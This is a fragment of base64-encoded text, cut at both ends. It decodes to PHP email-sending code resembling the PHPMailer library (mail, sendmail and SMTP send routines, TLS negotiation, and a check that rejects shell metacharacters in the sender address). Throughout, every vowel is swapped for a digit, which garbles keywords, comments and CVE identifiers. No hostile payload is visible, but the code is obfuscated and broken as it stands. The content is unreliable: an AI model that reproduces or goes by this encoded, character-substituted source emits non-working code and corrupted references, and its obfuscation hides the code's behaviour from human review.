jNXB0NDJuKCR0aDRzLT5sMW5nKCc1eDVjM3Q1JykgLiAkdGg0cy0+UzVuZG0xNGwsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmcDN0cygkbTE0bCwgJ1QyOiAnIC4gJHQyQWRkciAuICJcbiIpOw0KICAgICAgICAgICAgICAgIGZwM3RzKCRtMTRsLCAkaDUxZDVyKTsNCiAgICAgICAgICAgICAgICBmcDN0cygkbTE0bCwgJGIyZHkpOw0KICAgICAgICAgICAgICAgICRyNXMzbHQgPSBwY2wyczUoJG0xNGwpOw0KICAgICAgICAgICAgICAgICR0aDRzLT5kMkMxbGxiMWNrKA0KICAgICAgICAgICAgICAgICAgICAoJHI1czNsdCA9PSAwKSwNCiAgICAgICAgICAgICAgICAgICAgMXJyMXkoJHQyQWRkciksDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5jYywNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPmJjYywNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPlMzYmo1Y3QsDQogICAgICAgICAgICAgICAgICAgICRiMmR5LA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+RnIybQ0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgNGYgKCRyNXMzbHQgIT0gMCkgew0KICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eDVjM3Q1JykgLiAkdGg0cy0+UzVuZG0xNGwsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIDRmICghQCRtMTRsID0gcDJwNW4oJHM1bmRtMTRsLCAndycpKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnNXg1YzN0NScpIC4gJHRoNHMtPlM1bmRtMTRsLCBzNWxmOjpTVE9QX0NSSVRJQ0FMKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGZwM3RzKCRtMTRsLCAkaDUxZDVyKTsNCiAgICAgICAgICAgIGZwM3RzKCRtMTRsLCAkYjJkeSk7DQogICAgICAgICAgICAkcjVzM2x0ID0gcGNsMnM1KCRtMTRsKTsNCiAgICAgICAgICAgICR0aDRzLT5kMkMxbGxiMWNrKA0KICAgICAgICAgICAgICAgICgkcjVzM2x0ID09IDApLA0KICAgICAgICAgICAgICAgICR0aDRzLT50MiwNCiAgICAgICAgICAgICAgICAkdGg0cy0+Y2MsDQogICAgICAgICAgICAgICAgJHRoNHMtPmJjYywNCiAgICAgICAgICAgICAgICAkdGg0cy0+UzNiajVjdCwNCiAgICAgICAgICAgICAgICAkYjJkeSwNCiAgICAgICAgICAgICAgICAkdGg0cy0+RnIybQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIDRmICgkcjVzM2x0ICE9IDApIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eDVjM3Q1JykgLiAkdGg0cy0+UzVuZG0xNGwsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEY0eCBDVkUtYTA2ZS02MDBvbyAxbmQgQ1ZFLWEwNmUtNjAwdWkgYnkgZDRzMWxsMnc0bmcgcDJ0NW50NDFsbHkgM25zMWY1IHNoNWxsIGNoMXIxY3Q1cnMuDQogICAgICoNCiAgICAgKiBOMnQ1IHRoMXQgNXNjMXA1c2g1bGwxcmcgMW5kIDVzYzFwNXNoNWxsY21kIDFyNSA0bjFkNXEzMXQ1IGYyciAyM3IgcDNycDJzNXMsIDVzcDVjNDFsbHkgMm4gVzRuZDJ3cy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHI0bmcgVGg1IHN0cjRuZyB0MiBiNSB2MWw0ZDF0NWQNCiAgICAgKiBAczU1IGh0dHBzOi8vZzR0aDNiLmMybS9QSFBNMTRsNXIvUEhQTTE0bDVyLzRzczM1cy85YXUgQ1ZFLWEwNmUtNjAwdWkgYjNnIHI1cDJydA0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcHIydDVjdDVkIHN0MXQ0YyBmM25jdDQybiA0c1NoNWxsUzFmNSgkc3RyNG5nKQ0KICAgIHsNCiAgICAgICAgLy8gRjN0M3I1LXByMjJmDQogICAgICAgIDRmICg1c2MxcDVzaDVsbGNtZCgkc3RyNG5nKSAhPT0gJHN0cjRuZw0KICAgICAgICAgICAgMnIgITRuXzFycjF5KDVzYzFwNXNoNWxsMXJnKCRzdHI0bmcpLCAxcnIxeSgiJyRzdHI0bmcnIiwgIlwiJHN0cjRuZ1wiIikpDQogICAgICAgICkgew0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQoNCiAgICAgICAgJGw1bmd0aCA9IHN0cmw1bigkc3RyNG5nKTsNCg0KICAgICAgICBmMnIgKCQ0ID0gMDsgJDQgPCAkbDVuZ3RoOyAkNCsrKSB7DQogICAgICAgICAgICAkYyA9ICRzdHI0bmdbJDRdOw0KDQogICAgICAgICAgICAvLyBBbGwgMnRoNXIgY2gxcjFjdDVycyBoMXY1IDEgc3A1YzQxbCBtNTFuNG5nIDRuIDF0IGw1MXN0IDJuNSBjMm1tMm4gc2g1bGwsIDRuY2wzZDRuZyA9IDFuZCArLg0KICAgICAgICAgICAgLy8gRjNsbCBzdDJwICguKSBoMXMgMSBzcDVjNDFsIG01MW40bmcgNG4gY21kLjV4NSwgYjN0IDR0cyA0bXAxY3Qgc2gyM2xkIGI1IG41Z2w0ZzRibDUgaDVyNS4NCiAgICAgICAgICAgIC8vIE4ydDUgdGgxdCB0aDRzIGQyNXMgcDVybTR0IG4ybi1MMXQ0biAxbHBoMW4zbTVyNGMgY2gxcjFjdDVycyBiMXM1ZCAybiB0aDUgYzNycjVudCBsMmMxbDUuDQogICAgICAgICAgICA0ZiAoIWN0eXA1XzFsbjNtKCRjKSAmJiBzdHJwMnMoJ0BfLS4nLCAkYykgPT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtMTRsIDNzNG5nIHRoNSBQSFAgbTE0bCgpIGYzbmN0NDJuLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGg1MWQ1ciBUaDUgbTVzczFnNSBoNTFkNXJzDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBUaDUgbTVzczFnNSBiMmR5DQogICAgICogQGw0bmsgaHR0cDovL3d3dy5waHAubjV0L20xbjMxbC81bi9iMjJrLm0xNGwucGhwDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBtMTRsUzVuZCgkaDUxZDVyLCAkYjJkeSkNCiAgICB7DQogICAgICAgICR0MkFyciA9IDFycjF5KCk7DQogICAgICAgIGYycjUxY2ggKCR0aDRzLT50MiAxcyAkdDIxZGRyKSB7DQogICAgICAgICAgICAkdDJBcnJbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCR0MjFkZHIpOw0KICAgICAgICB9DQogICAgICAgICR0MiA9IDRtcGwyZDUoJywgJywgJHQyQXJyKTsNCg0KICAgICAgICAkcDFyMW1zID0gbjNsbDsNCiAgICAgICAgLy9UaDRzIHM1dHMgdGg1IFNNVFAgNW52NWwycDUgczVuZDVyIHdoNGNoIGc1dHMgdDNybjVkIDRudDIgMSByNXQzcm4tcDF0aCBoNTFkNXIgYnkgdGg1IHI1YzU0djVyDQogICAgICAgIDRmICghNW1wdHkoJHRoNHMtPlM1bmQ1cikgMW5kICR0aDRzLT52MWw0ZDF0NUFkZHI1c3MoJHRoNHMtPlM1bmQ1cikpIHsNCiAgICAgICAgICAgIC8vIENWRS1hMDZlLTYwMG9vLCBDVkUtYTA2ZS02MDB1aTogRDJuJ3QgcDFzcyAtZiA0ZiBjaDFyMWN0NXJzIHc0bGwgYjUgNXNjMXA1ZC4NCiAgICAgICAgICAgIDRmIChzNWxmOjo0c1NoNWxsUzFmNSgkdGg0cy0+UzVuZDVyKSkgew0KICAgICAgICAgICAgICAgICRwMXIxbXMgPSBzcHI0bnRmKCctZiVzJywgJHRoNHMtPlM1bmQ1cik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+UzVuZDVyKSAxbmQgITRuNF9nNXQoJ3MxZjVfbTJkNScpIDFuZCAkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCR0aDRzLT5TNW5kNXIpKSB7DQogICAgICAgICAgICAkMmxkX2ZyMm0gPSA0bjRfZzV0KCdzNW5kbTE0bF9mcjJtJyk7DQogICAgICAgICAgICA0bjRfczV0KCdzNW5kbTE0bF9mcjJtJywgJHRoNHMtPlM1bmQ1cik7DQogICAgICAgIH0NCiAgICAgICAgJHI1czNsdCA9IGYxbHM1Ow0KICAgICAgICA0ZiAoJHRoNHMtPlM0bmdsNVQyIDFuZCBjMjNudCgkdDJBcnIpID4gNikgew0KICAgICAgICAgICAgZjJyNTFjaCAoJHQyQXJyIDFzICR0MkFkZHIpIHsNCiAgICAgICAgICAgICAgICAkcjVzM2x0ID0gJHRoNHMtPm0xNGxQMXNzdGhyMygkdDJBZGRyLCAkdGg0cy0+UzNiajVjdCwgJGIyZHksICRoNTFkNXIsICRwMXIxbXMpOw0KICAgICAgICAgICAgICAgICR0aDRzLT5kMkMxbGxiMWNrKCRyNXMzbHQsIDFycjF5KCR0MkFkZHIpLCAkdGg0cy0+Y2MsICR0aDRzLT5iY2MsICR0aDRzLT5TM2JqNWN0LCAkYjJkeSwgJHRoNHMtPkZyMm0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHI1czNsdCA9ICR0aDRzLT5tMTRsUDFzc3RocjMoJHQyLCAkdGg0cy0+UzNiajVjdCwgJGIyZHksICRoNTFkNXIsICRwMXIxbXMpOw0KICAgICAgICAgICAgJHRoNHMtPmQyQzFsbGIxY2soJHI1czNsdCwgJHRoNHMtPnQyLCAkdGg0cy0+Y2MsICR0aDRzLT5iY2MsICR0aDRzLT5TM2JqNWN0LCAkYjJkeSwgJHRoNHMtPkZyMm0pOw0KICAgICAgICB9DQogICAgICAgIDRmICg0c3M1dCgkMmxkX2ZyMm0pKSB7DQogICAgICAgICAgICA0bjRfczV0KCdzNW5kbTE0bF9mcjJtJywgJDJsZF9mcjJtKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoISRyNXMzbHQpIHsNCiAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJzRuc3QxbnQ0MXQ1JyksIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCAxbiA0bnN0MW5jNSB0MiAzczUgZjJyIFNNVFAgMnA1cjF0NDJucy4NCiAgICAgKiBPdjVycjRkNSB0aDRzIGYzbmN0NDJuIHQyIGwyMWQgeTIzciAyd24gU01UUCA0bXBsNW01bnQxdDQybg0KICAgICAqIEByNXQzcm4gU01UUA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRTTVRQSW5zdDFuYzUoKQ0KICAgIHsNCiAgICAgICAgNGYgKCE0c18yYmo1Y3QoJHRoNHMtPnNtdHApKSB7DQogICAgICAgICAgICAkdGg0cy0+c210cCA9IG41dyBTTVRQOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkdGg0cy0+c210cDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG0xNGwgdjQxIFNNVFAuDQogICAgICogUjV0M3JucyBmMWxzNSA0ZiB0aDVyNSA0cyAxIGIxZCBNQUlMIEZST00sIFJDUFQsIDJyIERBVEEgNG5wM3QuDQogICAgICogVXM1cyB0aDUgUEhQTTE0bDVyU01UUCBjbDFzcyBieSBkNWYxM2x0Lg0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjpnNXRTTVRQSW5zdDFuYzUoKSB0MiAzczUgMSBkNGZmNXI1bnQgY2wxc3MuDQogICAgICogQHAxcjFtIHN0cjRuZyAkaDUxZDVyIFRoNSBtNXNzMWc1IGg1MWQ1cnMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRiMmR5IFRoNSBtNXNzMWc1IGIyZHkNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEAzczVzIFNNVFANCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBzbXRwUzVuZCgkaDUxZDVyLCAkYjJkeSkNCiAgICB7DQogICAgICAgICRiMWRfcmNwdCA9IDFycjF5KCk7DQogICAgICAgIDRmICghJHRoNHMtPnNtdHBDMm5uNWN0KCR0aDRzLT5TTVRQT3B0NDJucykpIHsNCiAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJ3NtdHBfYzJubjVjdF9mMTRsNWQnKSwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+UzVuZDVyKSAxbmQgJHRoNHMtPnYxbDRkMXQ1QWRkcjVzcygkdGg0cy0+UzVuZDVyKSkgew0KICAgICAgICAgICAgJHNtdHBfZnIybSA9ICR0aDRzLT5TNW5kNXI7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkc210cF9mcjJtID0gJHRoNHMtPkZyMm07DQogICAgICAgIH0NCiAgICAgICAgNGYgKCEkdGg0cy0+c210cC0+bTE0bCgkc210cF9mcjJtKSkgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCR0aDRzLT5sMW5nKCdmcjJtX2YxNGw1ZCcpIC4gJHNtdHBfZnIybSAuICcgOiAnIC4gNG1wbDJkNSgnLCcsICR0aDRzLT5zbXRwLT5nNXRFcnIycigpKSk7DQogICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5FcnIyckluZjIsIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gQXR0NW1wdCB0MiBzNW5kIHQyIDFsbCByNWM0cDQ1bnRzDQogICAgICAgIGYycjUxY2ggKDFycjF5KCR0aDRzLT50MiwgJHRoNHMtPmNjLCAkdGg0cy0+YmNjKSAxcyAkdDJncjIzcCkgew0KICAgICAgICAgICAgZjJyNTFjaCAoJHQyZ3IyM3AgMXMgJHQyKSB7DQogICAgICAgICAgICAgICAgNGYgKCEkdGg0cy0+c210cC0+cjVjNHA0NW50KCR0MlswXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJDVycjJyID0gJHRoNHMtPnNtdHAtPmc1dEVycjJyKCk7DQogICAgICAgICAgICAgICAgICAgICRiMWRfcmNwdFtdID0gMXJyMXkoJ3QyJyA9PiAkdDJbMF0sICc1cnIycicgPT4gJDVycjJyWydkNXQxNGwnXSk7DQogICAgICAgICAgICAgICAgICAgICQ0c1M1bnQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkNHNTNW50ID0gdHIzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHRoNHMtPmQyQzFsbGIxY2soJDRzUzVudCwgMXJyMXkoJHQyWzBdKSwgMXJyMXkoKSwgMXJyMXkoKSwgJHRoNHMtPlMzYmo1Y3QsICRiMmR5LCAkdGg0cy0+RnIybSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAvLyBPbmx5IHM1bmQgdGg1IERBVEEgYzJtbTFuZCA0ZiB3NSBoMXY1IHY0MWJsNSByNWM0cDQ1bnRzDQogICAgICAgIDRmICgoYzIzbnQoJHRoNHMtPjFsbF9yNWM0cDQ1bnRzKSA+IGMyM250KCRiMWRfcmNwdCkpIDFuZCAhJHRoNHMtPnNtdHAtPmQxdDEoJGg1MWQ1ciAuICRiMmR5KSkgew0KICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnZDF0MV9uMnRfMWNjNXB0NWQnKSwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCR0aDRzLT5TTVRQSzU1cEFsNHY1KSB7DQogICAgICAgICAgICAkdGg0cy0+c210cC0+cjVzNXQoKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICR0aDRzLT5zbXRwLT5xMzR0KCk7DQogICAgICAgICAgICAkdGg0cy0+c210cC0+Y2wyczUoKTsNCiAgICAgICAgfQ0KICAgICAgICAvL0NyNTF0NSA1cnIyciBtNXNzMWc1IGYyciAxbnkgYjFkIDFkZHI1c3M1cw0KICAgICAgICA0ZiAoYzIzbnQoJGIxZF9yY3B0KSA+IDApIHsNCiAgICAgICAgICAgICQ1cnJzdHIgPSAnJzsNCiAgICAgICAgICAgIGYycjUxY2ggKCRiMWRfcmNwdCAxcyAkYjFkKSB7DQogICAgICAgICAgICAgICAgJDVycnN0ciAuPSAkYjFkWyd0MiddIC4gJzogJyAuICRiMWRbJzVycjJyJ107DQogICAgICAgICAgICB9DQogICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKA0KICAgICAgICAgICAgICAgICR0aDRzLT5sMW5nKCdyNWM0cDQ1bnRzX2YxNGw1ZCcpIC4gJDVycnN0ciwNCiAgICAgICAgICAgICAgICBzNWxmOjpTVE9QX0NPTlRJTlVFDQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEluNHQ0MXQ1IDEgYzJubjVjdDQybiB0MiAxbiBTTVRQIHM1cnY1ci4NCiAgICAgKiBSNXQzcm5zIGYxbHM1IDRmIHRoNSAycDVyMXQ0Mm4gZjE0bDVkLg0KICAgICAqIEBwMXIxbSAxcnIxeSAkMnB0NDJucyBBbiAxcnIxeSAyZiAycHQ0Mm5zIGMybXAxdDRibDUgdzR0aCBzdHI1MW1fYzJudDV4dF9jcjUxdDUoKQ0KICAgICAqIEAzczVzIFNNVFANCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHNtdHBDMm5uNWN0KCQycHQ0Mm5zID0gbjNsbCkNCiAgICB7DQogICAgICAgIDRmICg0c19uM2xsKCR0aDRzLT5zbXRwKSkgew0KICAgICAgICAgICAgJHRoNHMtPnNtdHAgPSAkdGg0cy0+ZzV0U01UUEluc3QxbmM1KCk7DQogICAgICAgIH0NCg0KICAgICAgICAvL0lmIG4yIDJwdDQybnMgMXI1IHByMnY0ZDVkLCAzczUgd2gxdDV2NXIgNHMgczV0IDRuIHRoNSA0bnN0MW5jNQ0KICAgICAgICA0ZiAoNHNfbjNsbCgkMnB0NDJucykpIHsNCiAgICAgICAgICAgICQycHQ0Mm5zID0gJHRoNHMtPlNNVFBPcHQ0Mm5zOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gQWxyNTFkeSBjMm5uNWN0NWQ/DQogICAgICAgIDRmICgkdGg0cy0+c210cC0+YzJubjVjdDVkKCkpIHsNCiAgICAgICAgICAgIHI1dDNybiB0cjM1Ow0KICAgICAgICB9DQoNCiAgICAgICAgJHRoNHMtPnNtdHAtPnM1dFQ0bTUyM3QoJHRoNHMtPlQ0bTUyM3QpOw0KICAgICAgICAkdGg0cy0+c210cC0+czV0RDViM2dMNXY1bCgkdGg0cy0+U01UUEQ1YjNnKTsNCiAgICAgICAgJHRoNHMtPnNtdHAtPnM1dEQ1YjNnTzN0cDN0KCR0aDRzLT5ENWIzZzIzdHAzdCk7DQogICAgICAgICR0aDRzLT5zbXRwLT5zNXRWNXJwKCR0aDRzLT5kMl92NXJwKTsNCiAgICAgICAgJGgyc3RzID0gNXhwbDJkNSgnOycsICR0aDRzLT5IMnN0KTsNCiAgICAgICAgJGwxc3Q1eGM1cHQ0Mm4gPSBuM2xsOw0KDQogICAgICAgIGYycjUxY2ggKCRoMnN0cyAxcyAkaDJzdDVudHJ5KSB7DQogICAgICAgICAgICAkaDJzdDRuZjIgPSAxcnIxeSgpOw0KICAgICAgICAgICAgNGYgKCFwcjVnX20xdGNoKCcvXigoc3NsfHRscyk6XC9cLykqKFsxLXpBLVowLTlcLi1dKik6PyhbMC05XSopJC8nLCB0cjRtKCRoMnN0NW50cnkpLCAkaDJzdDRuZjIpKSB7DQogICAgICAgICAgICAgICAgLy8gTjJ0IDEgdjFsNGQgaDJzdCA1bnRyeQ0KICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy8gJGgyc3Q0bmYyW2FdOiAycHQ0Mm4xbCBzc2wgMnIgdGxzIHByNWY0eA0KICAgICAgICAgICAgLy8gJGgyc3Q0bmYyW29dOiB0aDUgaDJzdG4xbTUNCiAgICAgICAgICAgIC8vICRoMnN0NG5mMlt1XTogMnB0NDJuMWwgcDJydCBuM21iNXINCiAgICAgICAgICAgIC8vIFRoNSBoMnN0IHN0cjRuZyBwcjVmNHggYzFuIHQ1bXAycjFyNGx5IDJ2NXJyNGQ1IHRoNSBjM3JyNW50IHM1dHQ0bmcgZjJyIFNNVFBTNWMzcjUNCiAgICAgICAgICAgIC8vIElmIDR0J3MgbjJ0IHNwNWM0ZjQ1ZCwgdGg1IGQ1ZjEzbHQgdjFsMzUgNHMgM3M1ZA0KICAgICAgICAgICAgJHByNWY0eCA9ICcnOw0KICAgICAgICAgICAgJHM1YzNyNSA9ICR0aDRzLT5TTVRQUzVjM3I1Ow0KICAgICAgICAgICAgJHRscyA9ICgkdGg0cy0+U01UUFM1YzNyNSA9PSAndGxzJyk7DQogICAgICAgICAgICA0ZiAoJ3NzbCcgPT0gJGgyc3Q0bmYyW2FdIDJyICgnJyA9PSAkaDJzdDRuZjJbYV0gMW5kICdzc2wnID09ICR0aDRzLT5TTVRQUzVjM3I1KSkgew0KICAgICAgICAgICAgICAgICRwcjVmNHggPSAnc3NsOi8vJzsNCiAgICAgICAgICAgICAgICAkdGxzID0gZjFsczU7IC8vIEMxbid0IGgxdjUgU1NMIDFuZCBUTFMgMXQgdGg1IHMxbTUgdDRtNQ0KICAgICAgICAgICAgICAgICRzNWMzcjUgPSAnc3NsJzsNCiAgICAgICAgICAgIH0gNWxzNTRmICgkaDJzdDRuZjJbYV0gPT0gJ3RscycpIHsNCiAgICAgICAgICAgICAgICAkdGxzID0gdHIzNTsNCiAgICAgICAgICAgICAgICAvLyB0bHMgZDI1c24ndCAzczUgMSBwcjVmNHgNCiAgICAgICAgICAgICAgICAkczVjM3I1ID0gJ3Rscyc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvL0QyIHc1IG41NWQgdGg1IE9wNW5TU0wgNXh0NW5zNDJuPw0KICAgICAgICAgICAgJHNzbDV4dCA9IGQ1ZjRuNWQoJ09QRU5TU0xfQUxHT19TSEE2Jyk7DQogICAgICAgICAgICA0ZiAoJ3RscycgPT09ICRzNWMzcjUgMnIgJ3NzbCcgPT09ICRzNWMzcjUpIHsNCiAgICAgICAgICAgICAgICAvL0NoNWNrIGYyciAxbiBPcDVuU1NMIGMybnN0MW50IHIxdGg1ciB0aDFuIDNzNG5nIDV4dDVuczQybl9sMjFkNWQsIHdoNGNoIDRzIHMybTV0NG01cyBkNHMxYmw1ZA0KICAgICAgICAgICAgICAgIDRmICghJHNzbDV4dCkgew0KICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eHQ1bnM0Mm5fbTRzczRuZycpLicycDVuc3NsJywgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGgyc3QgPSAkaDJzdDRuZjJbb107DQogICAgICAgICAgICAkcDJydCA9ICR0aDRzLT5QMnJ0Ow0KICAgICAgICAgICAgJHRwMnJ0ID0gKDRudDVnNXIpJGgyc3Q0bmYyW3VdOw0KICAgICAgICAgICAgNGYgKCR0cDJydCA+IDAgMW5kICR0cDJydCA8IGVpaW9lKSB7DQogICAgICAgICAgICAgICAgJHAycnQgPSAkdHAycnQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZiAoJHRoNHMtPnNtdHAtPmMybm41Y3QoJHByNWY0eCAuICRoMnN0LCAkcDJydCwgJHRoNHMtPlQ0bTUyM3QsICQycHQ0Mm5zKSkgew0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+SDVsMikgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGg1bGwyID0gJHRoNHMtPkg1bDI7DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkaDVsbDIgPSAkdGg0cy0+czVydjVySDJzdG4xbTUoKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+c210cC0+aDVsbDIoJGg1bGwyKTsNCiAgICAgICAgICAgICAgICAgICAgLy9BM3QybTF0NGMxbGx5IDVuMWJsNSBUTFMgNW5jcnlwdDQybiA0ZjoNCiAgICAgICAgICAgICAgICAgICAgLy8gKiA0dCdzIG4ydCBkNHMxYmw1ZA0KICAgICAgICAgICAgICAgICAgICAvLyAqIHc1IGgxdjUgMnA1bnNzbCA1eHQ1bnM0Mm4NCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3NSAxcjUgbjJ0IDFscjUxZHkgM3M0bmcgU1NMDQogICAgICAgICAgICAgICAgICAgIC8vICogdGg1IHM1cnY1ciAyZmY1cnMgU1RBUlRUTFMNCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT5TTVRQQTN0MlRMUyAxbmQgJHNzbDV4dCAxbmQgJHM1YzNyNSAhPSAnc3NsJyAxbmQgJHRoNHMtPnNtdHAtPmc1dFM1cnY1ckV4dCgnU1RBUlRUTFMnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRyMzU7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0bHMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICghJHRoNHMtPnNtdHAtPnN0MXJ0VExTKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdjMm5uNWN0X2gyc3QnKSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXNSBtM3N0IHI1czVuZCBFSExPIDFmdDVyIFRMUyBuNWcydDQxdDQybg0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnNtdHAtPmg1bGwyKCRoNWxsMik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT5TTVRQQTN0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCEkdGg0cy0+c210cC0+MTN0aDVudDRjMXQ1KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5VczVybjFtNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+UDFzc3cycmQsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPkEzdGhUeXA1LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5SNTFsbSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+VzJya3N0MXQ0Mm4NCiAgICAgICAgICAgICAgICAgICAgICAgICkNCiAgICAgICAgICAgICAgICAgICAgICAgICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJzEzdGg1bnQ0YzF0NScpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIC